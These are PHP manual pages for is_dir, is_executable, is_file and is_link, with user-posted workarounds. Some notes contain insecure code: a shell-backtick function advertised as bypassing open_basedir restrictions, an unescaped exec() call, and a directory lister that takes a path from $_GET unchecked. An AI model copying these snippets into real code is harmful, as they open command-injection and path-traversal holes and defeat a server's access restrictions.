This is what I'm getting (though broken into a couple lines so this forum will accept it):

Warning: is_dir(): Stat failed for
/home/office/public_html/Library/1_NNHP-produced/4_Maps
/Peterson2003/BRTEreport_DVD.zip
(errno=75 - Value too large for defined data type) in /home/office/public_html/index.php on line 104

Here is line 104:

 if (is_dir($dir . "/" . $listing)) {
alan dot rezende at light dot com dot br 29-Sep-2006 06:42
The function is_dir will always return false if the handle acquired with opendir is not from the current working directory (getcwd); exception applies to "." and "..". Thus, if you need a consistent dir listing from any directory other than the current one, you must change dir first. Example follows:
<?php
chdir( '..' );
$rep=opendir('.');
while (false != ($file = readdir($rep))){
  if (is_dir($file)){
    print("<a href='$file/' class='text1'>$file</a>");
  }
}
?>
The above code will list all directories (with links) for the ".." directory, relative to the current working dir.

THE WRONG WAY TO DO IT FOLLOWS:
<?php
$rep=opendir('..');
while (false != ($file = readdir($rep))){
  //print "$file is here (may be a dir or not)<br>";
  if (is_dir($file)){
    print "<a href='$file/' class='text1'>$file</a><br>";
  }
}
?>
This code will turn into an empty list. If you want to make sure, uncomment the commented line...
Regards...
locataweb at hotmail dot com 06-Aug-2006 03:59
NOTE on Windows Shares (based on tests using PHP 5.1.1):

After many hours of head scratching and wondering why a script worked sometimes but not others, I discovered this revelation.

Be aware that base Windows shares are not recognised as dirs, so the following test will return false even if \\COMPUTER_NAME\SHARENAME exists.

<?php

if (is_dir('\\\\COMPUTER_NAME\\SHARENAME')) {
echo "TRUE\n";
}
else {
echo "FALSE\n";
}
//will return FALSE;

// However testing a subdir of the same base share
// using test below will return TRUE,
// despite the fact the parent base Windows share
// returns false when tested by is_dir()

is_dir('\\\\COMPUTER_NAME\\SHARENAME\\SUBDIR') {
echo "TRUE\n";
} else {
echo "FALSE\n";
}
//will return TRUE.

?>

As a work round I replaced is_dir with is_readable() instead, which identifies if the share is readable and so must exist, but this is clearly dependent on whether the share is readable.

I hope this helps someone.  If there is a better work round or other purpose built solution to this problem with base windows shares, please post them so I'll know the next time.
derek at nospam dot pmachine dot com 14-Jul-2006 04:10
regarding dmertens-php-note at zyprexia dot com's statement on 24-Sep-2005 09:53

Actually, is_dir is not affected by UID checks in safe_mode.  is_dir will even return true if you lack sufficient privileges to read said directory.
dmertens-php-note at zyprexia dot com 24-Sep-2005 08:53
Remember that the owner of the directory has to be the same of the script user, otherwise this function will always return false when PHP is running in safe_mode..
fanfatal at fanfatal dot pl 02-Jul-2005 09:04
Hi
I wrote an usefull function to check is directory exists in directory's tree ;)

<?php
/*
 *    Function to check recursively if dirname is exists in directory's tree
 *
 *    @param string $dir_name
 *    @param string [$path]
 *    @return bool
 *    @author FanFataL
 */
function dir_exists($dir_name = false, $path = './') {
    if(!$dir_name) return false;

    if(is_dir($path.$dir_name)) return true;

    $tree = glob($path.'*', GLOB_ONLYDIR);
    if($tree && count($tree)>0) {
        foreach($tree as $dir)
            if(dir_exists($dir_name, $dir.'/'))
                return true;
    }

    return false;
}
?>

Greatings ;)
...
06-Jun-2005 11:30
With error reporting set to all, and you attempt to do:
echo var_dump(is_dir('bogus_dir/abc'));

as output you will get:
Warning: stat failed for bogus_dir/abc (errno=2 - No such file or directory) in test.php on line 12
bool(false)

If you want to use this with an error reporting level set to all, you will need to use @ to supress the generated error
akashif at freezone dot co dot uk 03-Jun-2005 04:50
just a simple script to for those who dont have the IIS or Apache Dirlisting available , this will make onr for you

<?php
$DirPath=$_GET['DirPath'];
if($DirPath=="")
{
    $DirPath='./';
}
if (($handle=opendir($DirPath)))
{
    while ($node = readdir($handle))
    {
        $nodebase = basename($node);
        if ($nodebase!="." && $nodebase!="..")
        {
            if(is_dir($DirPath.$node))
            {
                $nPath=$DirPath.$node."/";
                echo "-> -> -> <a href='dir.php?DirPath=$nPath'>$node</a><br>";
            }
            else
            {
                echo "<a href='$node'>$node</a><br>";
            }
        }
    }
}

?>
renich at woralelandia dot com 21-Apr-2005 11:45
Here goes a PHP5.0 link-to-directory listing function and examples

<?php

//List directories only
function list_dirs($path, $target)
{
    $list = scandir($path);

    foreach ($list as $number => $filename)
    {
        if ( $filename !== '.' && $filename !== '..' && is_dir("$path/$filename") )
        {
            // Asign more readable and logic variables
            $dir = $filename;
            $url = apache_request_headers();

            if ($target == '')
            {
                // Print Dirs with link
                print ("<a href=\"http://$url[Host]/$path/$dir\">$dir</a> <br>\n");
            }
            else
            {
                // Print Dirs with link
                print ("<a href=\"http://$url[Host]$dir\" target=\"$target\">$dir</a> <br>\n");
            }

        }
    }
}

?>

1.- List current directory's directories with no target property.

<?php

list_dirs('.','')

?>

2.- List "libraries" in "pma2" located at my dir with a "_blank" target set

<?php

list_dirs('pma2/libraries','_blank');

?>

or

<?php

list_dirs('/var/www/html/pma2/libraries','_blank');

?>

3.- List all the directories located at the "/Home" dir with "_me" as target.

<?php

list_dirs('/home', ''_me');

?>

I hope you all like it!

Note:
Obviously, the links will now work if the're not in the apache dir... ("htdocs", "html", "www", whatever)
dusted19 at hotmail dot com 19-Mar-2005 02:38
While working on a php project (my first one =( ).  I ran into a bug using is_dir() on my winxp w/ servicepack 2 system.  I'm using php 4.3.10.. the problem is whenever i pass is_dir() a pathname that is longer then 256 characters long it will ALWAYS return true.

CODE:

<?php

// Path to multimedia files
$mpath = "E:\\armoury\\";
ls($mpath);

//echo "MP3 Listing:<br/><br/>";

function ls ($curpath) {
   $dir = dir($curpath);
   echo("<b>$curpath</b>");
   echo "<blockquote>";
   while ($file = $dir->read()) {
                    echo(" <b>");
                    echo(strlen($curpath.$file));
                    echo("</b> ");
            if($file != "." && $file != "..") {
                if (is_dir($curpath.$file)) {
                    ls($curpath.$file."\\");
                } else {
                    echo(" $file<br>");
                }

            }

//       }
   }
   $dir->close();
   echo "</blockquote>";
   return;
}

?>

This is the output.. the number preceding the file/directory is the number of characters in it's full path name.  You can see where it trips up at:

 257 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3

The pathname is greater then 256 characters.

229 A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 07 - Bonita Applebum.mp3
227 A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 08 - Can I Kick It.mp3
233 A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 09 - Youthful Expression.mp3
257 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3\
259 260 267 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3\index.php\
269 270 277 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3\index.php\index.php\

Try it yourself on a large directory structure.
flobee 13-Mar-2005 06:13
note: like the main example already shows. tooks me houres to understand und using chdir() to get a full dir scann (especilly on windows and "mounted" network drives)

never forget the tailing slash to find out if you have a directory or not.
<?php
function parse_dir($dir) {
    if ($dh = @opendir($dir)) {
        while(($file = readdir($dh)) !== false) {
            if( !preg_match('/^\./s', $file) )  {
                if(is_dir($dir.$file)) {
                    $newdir = $dir.$file.'/'; // <- tailing slash
                    chdir($newdir);
                    echo "IS DIR: $newdir\n";
                    echo parse_dir($newdir);
                } else {
                    echo $dir.$file."\n";
                }
            }
        }
        chdir('..');
    }
}
parse_dir('z:/myfolder/mysubfolder/');

?>
puremango dot co dot uk at gmail dot com 08-Feb-2005 11:55
this function bypasses open_basedir restrictions.
<?
function my_is_dir($dir)
{
    // bypasses open_basedir restrictions of is_dir and fileperms
    $tmp_cmd = `ls -dl $dir`;
    $dir_flag = $tmp_cmd[0];
    if($dir_flag!="d")
    {
        // not d; use next char (first char might be 's' and is still directory)
        $dir_flag = $tmp_cmd[1];
    }
    return ($dir_flag=="d");
}
?>

example:
<?
....
echo is_dir("/somewhere/i/dont/have/access/to");
?>
output:
Warning: open_basedir restriction in effect

<?
....
echo my_is_dir("/somewhere/i/dont/have/access/to");
?>
output:
true (or false, depending whether it is or not...)

---
visit puremango.co.uk for other such wonders
02-Feb-2005 04:12
Unfortunately, the function posted by p dot marzec at bold-sg dot pl does not work.
The corrected version is:

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir("$dir/$name")) { //<--- corrected here
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
tibard at gmail dot com 01-Feb-2005 12:32
use this function to get all files inside a directory (including subdirectories)

<?php
function scan_Dir($dir) {
    $arrfiles = array();
    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            chdir($dir);
            while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != "..") {
                    if (is_dir($file)) {
                        $arr = scan_Dir($file);
                        foreach ($arr as $value) {
                            $arrfiles[] = $dir."/".$value;
                        }
                    } else {
                        $arrfiles[] = $dir."/".$file;
                    }
                }
            }
            chdir("../");
        }
        closedir($handle);
    }
    return $arrfiles;
}

?>
rchavezc at ameritech dot net 12-Dec-2004 08:19
This is the function that I use to test for an empty directory:

<?php
function is_emtpy_dir($dirname){

// Returns true if  $dirname is a directory and it is empty

   $result=false;                      // Assume it is not a directory
   if(is_dir($dirname) ){
       $result=true;                   // It is a directory
       $handle = opendir($dirname);
       while( ( $name = readdir($handle)) !== false){
               if ($name!= "." && $name !=".."){
             $result=false;        // directory not empty
             break;                   // no need to test more
           }
       }
       closedir($handle);
   }
   return $result;
}
?>
bhuskins at nospam dot christian-horizons dot org 12-Aug-2004 01:51
'Is_empty_folder' posted by andreas at rueping dot net is a nice function. It did give me some grief, though. I don't beleive that it actually closes the directory when it's done (closedir in the wrong spot). I changed it slightly to be the following:

// returns true if folder is empty or not existing
// false if folde is full

<?
function is_emtpy_folder($folder){
   if(is_dir($folder) ){
       $handle = opendir($folder);
       while( (gettype( $name = readdir($handle)) != "boolean")){
               $name_array[] = $name;
       }
       foreach($name_array as $temp)
           $folder_content .= $temp;

       closedir($handle);//<--------moved this
       if($folder_content == "...") {
           return true;
       } else {
           return false;
       }
   }
   else
       return true; // folder doesnt exist
}
?>
sly at noiretblanc dot org 28-May-2004 10:10
This is the "is_dir" function I use to solve the problems :

function Another_is_dir ($file)
{
    if ((fileperms("$file") & 0x4000) == 0x4000)
        return TRUE;
    else
        return FALSE;
}

or, more simple :

function Another_is_dir ($file)
{
return ((fileperms("$file") & 0x4000) == 0x4000);
}

I can't remember where it comes from, but it works fine.
p dot marzec at bold-sg dot pl 14-Mar-2004 07:33
Simplest version 'is_empty_folder' posted by andreas at rueping dot net

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
    $dl=opendir($dir);
    if ($dl) {
        while($name = readdir($dl)) {
    if (!is_dir($name)) {
        return false;
        break;
        }
    }
        closedir($dl);
        }
    return true;
    } else return true;
}
andreas at rueping dot net 23-Sep-2003 05:29
function checks if a folder is empty or not. Retruns "true" if it is empty and "false" if it is full with data. Also if the folder doesnt even exist, function returns "true".

--------------------------------------------------
--------------------------------------------------

// returns true if folder is empty or not existing
// false if folde is full

<?
function is_emtpy_folder($folder){
    if(is_dir($folder) ){
        $handle = opendir($folder);
        while( (gettype( $name = readdir($handle)) != "boolean")){
                $name_array[] = $name;
        }
        foreach($name_array as $temp)
            $folder_content .= $temp;

        if($folder_content == "...")
            return true;
        else
            return false;

        closedir($handle);
    }
    else
        return true; // folder doesnt exist
}
?>
glob
is_executable
Filesystem Functions


Tells whether the filename is executable

is_dir
is_file
Filesystem Functions
PHP Manual

is_executable

(PHP 4, PHP 5)

is_executable — Tells whether the filename is executable

Description

bool is_executable ( string $filename )

Tells whether the filename is executable.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the filename exists and is executable, or FALSE on error.

Changelog

Version | Description
5.0.0 | is_executable() became available with Windows

Examples

Example #1 is_executable() example

<?php

$file = '/home/vincent/somefile.sh';

if (is_executable($file)) {
    echo $file.' is executable';
} else {
    echo $file.' is not executable';
}

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_file() - Tells whether the filename is a regular file
  • is_link() - Tells whether the filename is a symbolic link

User Contributed Notes

Buuyo 06-Aug-2004 03:51
The change doesn't appear to be documented, so I thought I would mention it. In php5, as opposed to php4, you can no longer rely on is_executable to check the executable bit on a directory in 'nix. You can still use the first note's method to check if a directory is traversable:
     @file_exists("adirectory/.");
david at littlesystems dot com dot au 01-Jun-2002 11:38
to test whether the directory /home/david is executable (regardless of whether it is readable or writeable), issue the command:
$my_isWriteable = @file_exists("/home/david/.")

the @ gets rid of the warning when this command fails when the directory is not executable.
is_dir
is_file
Filesystem Functions


Tells whether the filename is a regular file

is_executable
is_link
Filesystem Functions
PHP Manual

is_file

(PHP 4, PHP 5)

is_file — Tells whether the filename is a regular file

Description

bool is_file ( string $filename )

Tells whether the given file is a regular file.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the filename exists and is a regular file, FALSE otherwise.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 is_file() example

<?php
var_dump(is_file('a_file.txt')) . "\n";
var_dump(is_file('/usr/bin/')) . "\n";
?>

The above example will output:

bool(true)
bool(false)

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_dir() - Tells whether the filename is a directory
  • is_link() - Tells whether the filename is a symbolic link

User Contributed Notes

alcala_ruben2 at hotmail dot com 19-Oct-2011 02:38
This little script helps you get all php files (not hidden) inside certain folder including all subfolders

<?php
$allDirs = array();
            $dirLevel = 0;
            $searchFactor = 0;
            $searchPath = '';
            $keepLooking = TRUE;
            while ($keepLooking) {
                if($dirLevel == 0){
                    $searchPath = '/path/to/parentFolder';
                    $tmp = array();
                    foreach (scandir($searchPath) as $filename) {
                        $host = $searchPath.'/'.$filename;
                        if (is_dir($host) && substr($filename,0,1)!='.'){
                            $searchFactor++;
                            array_push($tmp,$host);
                        }
                        elseif(is_file($host)) {
                            $forExt = explode('.',$host);
                            if($forExt[count($forExt)-1]=='php' && substr($filename,0,1)!='.')//if you want hidden files just take out the part "&& substr($filename,0,1)!='.'"
                                echo $host;

                        }
                    }
                    if($searchFactor>0){
                        $dirLevel++;
                        array_push($allDirs, $tmp);
                        $searchFactor = 0;
                    }
                }
                else{
                    $tmp = array();
                    foreach ($allDirs[$dirLevel-1] as $searchPath) {
                        foreach (scandir($searchPath) as $filename) {
                            $host = $searchPath.'/'.$filename;
                            if (is_dir($host) && substr($filename,0,1)!='.'){
                                $searchFactor++;
                                array_push($tmp,$host);
                            }
                            elseif(is_file($host)) {
                                $forExt = explode('.',$host);
                                if($forExt[count($forExt)-1]=='php' && substr($filename,0,1)!='.')
                                    echo $host;

                            }
                        }
                    }
                    if($searchFactor>0){
                        $dirLevel++;
                        array_push($allDirs, $tmp);
                        $searchFactor = 0;
                    }
                    else
                        $keepLooking = FALSE;
                }
            }
?>
Anonymous 18-Jun-2011 11:47
is_file doesn't recognize files whose filenames contain strange characters like czech ů or russian characters in general.

I've seen many scripts that take it for granted that a path is a directory when it fails is_file($path). When trying to determine whether a path links to a file or a dir, you should always use is_dir after getting false from is_file($path). For cases like described above, both will fail.
don dot duvall at deduvall dot com 11-Sep-2009 02:55
I have noticed that using is_file on windows servers (mainly for development) to use a full path c:\ doesn't always work.

I have had to use
C:/foldertowww/site/file.ext

so I preform an str_replace('\\', '/', $path)
Sometimes I have had the \ instead of / work. (this is using apache2 on XP)

but for sure you cannot have mixed separators.
ca dot redwood at gmail dot com 23-Apr-2009 12:24
this is a simple way to find specific files instead of using is_file().
this example is made for mac standards, but easily changed for pc.

<?php
function isfile($file){
    return preg_match('/^[^.^:^?^\-][^:^?]*\.(?i)' . getexts() . '$/',$file);
    //first character cannot be . : ? - subsequent characters can't be a : ?
    //then a . character and must end with one of your extentions
    //getexts() can be replaced with your extentions pattern
}

function getexts(){
    //list acceptable file extensions here
    return '(app|avi|doc|docx|exe|ico|mid|midi|mov|mp3|
                 mpg|mpeg|pdf|psd|qt|ra|ram|rm|rtf|txt|wav|word|xls)';
}

echo isfile('/Users/YourUserName/Sites/index.html');
?>
Kevin Gregull 13-Nov-2008 08:14
This Function deletes everything in a defined Folder:
Works with PHP 4 and 5.

<?php
  function deletefolder($path)
  {
    if ($handle=opendir($path))
    {
      while (false!==($file=readdir($handle)))
      {
        if ($file<>"." AND $file<>"..")
        {
          if (is_file($path.'/'.$file))
          {
            @unlink($path.'/'.$file);
          }
          if (is_dir($path.'/'.$file))
          {
            deletefolder($path.'/'.$file);
            @rmdir($path.'/'.$file);
          }
        }
      }
    }
  }
?>
rigrace at swbell dot net 09-Oct-2008 09:48
It took me a day or so to figure out that is_file() actually looks for a valid $ existing path/file in string form. It is not performing a pattern-like test on the parameter given. Its testing to see if the given parameter leads to a specific  existing 'name.ext' or other (non-directory) file type object.
sy well-known-sign damla.net 23-Mar-2008 04:23
In 32 bit environments, these functions including is_file(), stat() filesize() will not work due to PHPs default integer being signed. So anything above ~2.1 billion bytes you actually get a negative value.

This is actually a bug but I dont think there is an easy workaround. Try to switch to 64 bit.
gizmo at gizmo dot sk 22-Feb-2008 01:50
here is a workaround for the file size limit. uses bash file testing operator, so it may be changed to test directories etc.  (see http://tldp.org/LDP/abs/html/fto.html for possible test operators)

<?php
function is_file_lfs($path){
    exec('[ -f "'.$path.'" ]', $tmp, $ret);
    return $ret == 0;
}
?>
Guilherme guilherme at gmail dot com 16-Jul-2007 06:36
If you are trying to get the extension of the file. I have the following piece of code for you:

<?php
$extension = substr($file_name, strrpos($file_name, "."));

// That code must get the correctly extension in any cases.
?>
cristian dot ban at neobytesolutions com 27-Jun-2007 01:46
regarding note from rehfeld dot us :

In my experience the best( and easiest ) way to find the extension of a file is :

<?php

// use this when you are sure it actually has an extension.
$extension = end(explode(".", $file_name));

?>

or

<?php

// this one will also check if it actually has an extension
$parts = explode(".", $file_name);
if (is_array($parts) && count($parts) > 1)
    $extension = end($parts);

?>
riki1512 / a_t / gmx / d_ot / de 07-Feb-2007 03:22
Be careful with big files. I get a

Warning: is_file(): Stat failed for all.rar (errno=75 - Value too large for defined data type) in /.../test.php on line 3

and FALSE as result for a file of 3,5 GB.
tatarynowicz at gmail dot com 17-Oct-2006 07:35
An easy way not to have to choose between hard-coding full paths and using relative paths is either via this line:

<?php
// in the bootstrap file
define('DIR_ROOT', dirname(__FILE__));
// in other files, prefix paths with the constant
require(DIR_ROOT . '/relative/to/bootstrap.php');
?>

or if you have to use a relative path:

<?php
require(dirname(__FILE__) . '/relative/to/this_file.php');
?>

This way all your paths will be absolute, yet you can move the application anywhere in the filesystem.

BTW, each successive call to dirname takes you one step up in the directory tree.

<?php
echo __FILE__;
// /www/site.com/public/index.php
echo dirname(__FILE__);
// /www/site.com/public
echo dirname(dirname(__FILE__));
// /www/site.com
?>
SimonCharest at gmail dot com 08-Aug-2006 10:39
In rlh's example, "$ext=explode('.',$document);" is only good if you consider that the filename only possesses a single dot (".") and that it is right before the extension. You should get the last dot's position with the strRPos() function instead.

Another note : some files might not even have an extension (i.e.: mostly under Linux/Unix).
Emin Sadykhov (azdg_nospam at azdg dot com) 12-Dec-2005 05:57
File operations such as is_file (also is_dir, opendir, readdir) work slower with Absolute paths - processing time is increase in 2-3 times.

Current rule is actual only for PHP5 (tested on 5.0.4, 5.1.1, Windows and Linux, 1st and 2nd Apache)

Try to use relative paths in these operators.

Example tested on my machine:
<?php
# note: in the both conditions file really exists!

# WIN XP, PHP4
# processing time: ~ 0.0003 sec.
if(is_file("images/10.jpg")) echo 'file exists';

# processing time: ~ 0.0002 sec. !!!
if(is_file("C:/server/htdocs/mysite/images/10.jpg")) echo 'file exists';

# WIN XP, PHP5
# processing time: ~ 0.0004 sec.
if(is_file("images/10.jpg")) echo 'file exists';

# processing time: ~ 0.0010 sec.
if(is_file("C:/server/htdocs/mysite/images/10.jpg")) echo 'file exists';
?>
Jonathan Shaltz 14-Oct-2005 10:23
Maybe this is a newbie mistake, but note that paths are relative to the filesystem and the location of the script.  This means that MS IIS virtual directories are not available by relative path - use an absolute.
This threw me because virtual directories ARE available for URLs, at least on IIS.
bill fumerola 30-Aug-2005 06:45
be careful, is_file() fails on files larger than your integer storage (2^32 for most).

Warning: is_file(): Stat failed for bigfile (errno=75 - Value too large for defined data type)
punknroll at gmx dot at 11-Aug-2005 08:11
is_file returns false if you don't have the permissions for the file or the directory (eg.: you are web34 and the directory belongs to root)!
08-Mar-2005 09:02
### Symbolic links are resolved ###

If you pass a symlink (unix symbolic link) as parameter, is_file will resolve the symlink and will give information about the refered file. For example:

  touch file
  ln -s file link
  echo '<? if (is_file("link")) echo "y\n"; ?>' | php -q

will print "y".

is_dir resolves symlinks too.
ludvig dot ericson at gmail dot com 25-Oct-2004 11:06
I tend to use alot of includes, and I found that the is_file is based on the script executed, not ran.
if you request /foo.php and foo.php looks like this:
<?php
include('foobar/bar.php');
?>
and bar.php looks like this:
<?php
echo (is_file('foo/bar.txt'));
?>

Then PHP (on win32, php 5.x) would look for /foo/bar.txt and not /foobar/foo/bar.txt.
you would have to rewrite the is_file statement for that, or change working directory.
Noting this since I sat with the problem for some time,

cheers, Toxik.
rehfeld.us 03-Sep-2004 03:04
regarding rlh at d8acom dot com method,

It is incorrect. Well, it works but you are not guaranteed the file extension using that method.

for example :   filename.inc.php

your method will tell you the ext is "inc", but it is in fact "php"

heres a way that will work properly.

<?php

$dh = opendir($dir);

while (false !== ($document = readdir($dh))) {
    $pos = strrpos($document, '.');
    if (false !== $pos && strlen($document) > $pos + 1) {
        $ext = substr($document, $pos + 1);
    }
}

?>
rlh at d8acom dot com 12-Feb-2003 05:17
I do a lot of file parsing and have found the following technique extremely useful:

while (false !== ($document = readdir($my_dir)))
{
    $ext=explode('.',$document);
    if($document != '.' && $document != '..' && $ext[1])
    {
                       'Do something to file...'
              }
}

It gets around the fact that, when working on website pages, the html files are read as directories when downloaded. It also allows you to extend the usefulness of the above method by adding the ability to determine file types e.g.

if($document != '.' && $document != '..' && $ext[1]=='htm')
or
if($document != '.' && $document != '..' && $ext[1]=='doc')
andreas dot stagl at fits dot at 27-Mar-2002 11:34
if you're running apache as a service on a win32 machine, an you try to determinate if a file on an other pc in your network exists - ex.: is_file('//servername/share/dir1/dir2/file.txt') - you may return false when you're running the service as LocalSystem. To avoid this, you have to start the Apache-Service as a 'registered' domain user.
quietust at ircN dot org 13-Dec-2001 08:20
In PHP 4.1.0 under win32, this seems to print out a warning message if the file does not exist (using error_reporting = E_ALL & ~E_NOTICE).
amraam at ao dot net 11-Mar-2000 06:56
It seems that is_file doesn't return true for a file that is 0 bytes.  Perhaps it is something with the file system.  I am using IIS 3.0 on an NT4 box.  I worked around it using !is_dir($filename) but that seems a clunky way to do it.
is_executable
is_link
Filesystem Functions


Tells whether the filename is a symbolic link

is_file
is_readable
Filesystem Functions
PHP Manual

is_link

(PHP 4, PHP 5)

is_link — Tells whether the filename is a symbolic link

Description

bool is_link ( string $filename )

Tells whether the given file is a symbolic link.

Parameters

filename

Path to the file.

Return Values

Returns TRUE if the filename exists and is a symbolic link, FALSE otherwise.

Examples

Example #1 Create and confirm if a file is a symbolic link

<?php
$link = 'uploads';

if (is_link($link)) {
    echo(readlink($link));
} else {
    symlink('uploads.php', $link);
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_dir() - Tells whether the filename is a directory
  • is_file() - Tells whether the filename is a regular file
  • readlink() - Returns the target of a symbolic link

User Contributed Notes

PaulE 02-Jun-2009 02:03
A workaround for Windows LNK files:

<?php

function _is_link($filename)
{
    if(is_link($filename))
        return true;

    $ext = substr(strrchr($filename, '.'), 1);
    if(strtolower($ext) == 'lnk')
    {
        return (_readlink($filename) ? true : false);
    }

    return false;
}

function _readlink($file)
{
    if(file_exists($file))
    {
        if(is_link($file))
        {
            return readlink($file);
        }

        // Get file content
        $handle = fopen($file, "rb");
        $buffer = array();

        while(!feof($handle))
        {
            $buffer[] = fread($handle, 1);
        }

        fclose($handle);

        // Test magic value and GUID
        if(count($buffer) < 20)
            return false;
        if($buffer[0] != 'L')
            return false;
        if((ord($buffer[4]) != 0x01) ||
           (ord($buffer[5]) != 0x14) ||
           (ord($buffer[6]) != 0x02) ||
           (ord($buffer[7]) != 0x00) ||
           (ord($buffer[8]) != 0x00) ||
           (ord($buffer[9]) != 0x00) ||
           (ord($buffer[10]) != 0x00) ||
           (ord($buffer[11]) != 0x00) ||
           (ord($buffer[12]) != 0xC0) ||
           (ord($buffer[13]) != 0x00) ||
           (ord($buffer[14]) != 0x00) ||
           (ord($buffer[15]) != 0x00) ||
           (ord($buffer[16]) != 0x00) ||
           (ord($buffer[17]) != 0x00) ||
           (ord($buffer[18]) != 0x00) ||
           (ord($buffer[19]) != 0x46))
        {
            return false;
        }

        $i = 20;
        if(count($buffer) < ($i + 4))
            return false;

        $flags = ord($buffer[$i]);
        $flags = $flags | (ord($buffer[++$i]) << 8);
        $flags = $flags | (ord($buffer[++$i]) << 16);
        $flags = $flags | (ord($buffer[++$i]) << 24);

        $hasShellItemIdList = ($flags & 0x00000001) ? true : false;
        $pointsToFileOrDir = ($flags & 0x00000002) ? true : false;

        if(!$pointsToFileOrDir)
            return false;

        if($hasShellItemIdList)
        {
            $i = 76;
            if(count($buffer) < ($i + 2))
                return false;

            $a = ord($buffer[$i]);
            $a = $a | (ord($buffer[++$i]) << 8);

        }

        $i = 78 + 4 + $a;
        if(count($buffer) < ($i + 4))
            return false;

        $b = ord($buffer[$i]);
        $b = $b | (ord($buffer[++$i]) << 8);
        $b = $b | (ord($buffer[++$i]) << 16);
        $b = $b | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b;
        if(count($buffer) < ($i + 4))
            return false;

        $c = ord($buffer[$i]);
        $c = $c | (ord($buffer[++$i]) << 8);
        $c = $c | (ord($buffer[++$i]) << 16);
        $c = $c | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b + $c;
        if(count($buffer) < ($i +1))
            return false;

        $linkedTarget = "";
        for(;$i < count($buffer); ++$i)
        {
            if(!ord($buffer[$i]))
                break;

            $linkedTarget .= $buffer[$i];
        }

        if(empty($linkedTarget))
            return false;

        return $linkedTarget;
    }

    return false;
}

if(_is_link('test.lnk'))
{
    echo _readlink('test.lnk');
}
?>
foobarfarter 18-Oct-2008 03:06
@radon8472 at hotmail dot com
The windows .lnk-things are real files, the explorer only treats them like links. Try to open one with Win+R->"notepad X:\Path\Visiblefilename.lnk You will see much 0-Bytes, but the linked path is displayed right on the screen. It should be possible to do the same by php.
radon8472 at hotmail dot com 31-Jul-2008 09:38
This function returns "false" for windows *.lnk files (tested under windows XP).

filetype also returns "file" an not "link" like expected.

I didn`t find a solution for this.
mbirth at webwriters dot de 20-May-2008 08:24
To find out whether a file is hardlinked to another filename, check the number of links of the stat() output. If it is >1 there is another filename for that file.

To find out whether two filenames are pointing to the same file, check the inode number of those 2 filenames. If it is equal, the 2 filenames are hardlinked together.
neverpanic->gmail[com] 30-Dec-2006 02:50
For me (Debian Sarge VPS) is_link returns true even for directories if you don't add a trailing slash to the filename.
<?php
if ($dir{strlen($dir)-1} == '/') $dir = substr($dir, 0, -1);
is_link($dir);
?>
This works for me. It can't detect a symlink somewhere in a complete path, though (i.e. is_link(/www/somedir/file.php) will return false, just as is_link(/www/) would)
brendy at gmail dot com 05-May-2006 07:22
On Mac OSX, to see if a file is a FInder alias:

<?PHP
if( getFinderAlias( $someFile , $target ) ) {
 echo $target;
}
else {
 echo "File is not an alias";
}

function getFinderAlias( $filename , &$target ) {
$getAliasTarget = <<< HEREDOC
    -- BEGIN APPLESCRIPT --
    set checkFileStr to "{$filename}"
    set checkFile to checkFileStr as POSIX file
    try
        tell application "Finder"
            if original item of file checkFile exists then
                set targetFile to (original item of file checkFile) as alias
                set posTargetFile to POSIX path of targetFile as text
                get posTargetFile
            end if
        end tell
    end try
    -- END APPLESCRIPT --
HEREDOC;
$runText = "osascript << EOS\n{$getAliasTarget}\nEOS\n";
$target = trim( shell_exec( $runText ) );
return ( $target == "" ? false : true );
}
?>
jr at cnb dot uam dot es 30-May-2005 11:31
Why don't you just try

is_dir("$pathname/.")

instead?

If $pathname is a directory, $pathname/. is itself and is a directory too.

If $pathname is a link to a directory, then $pathname/. is the actual directory pointed at and is a directory as well.

If $pathname is a link to a non-directory, then $pathname/. does not exist and returns FALSE, as it should.

A lot easier, more readable and intuitive.
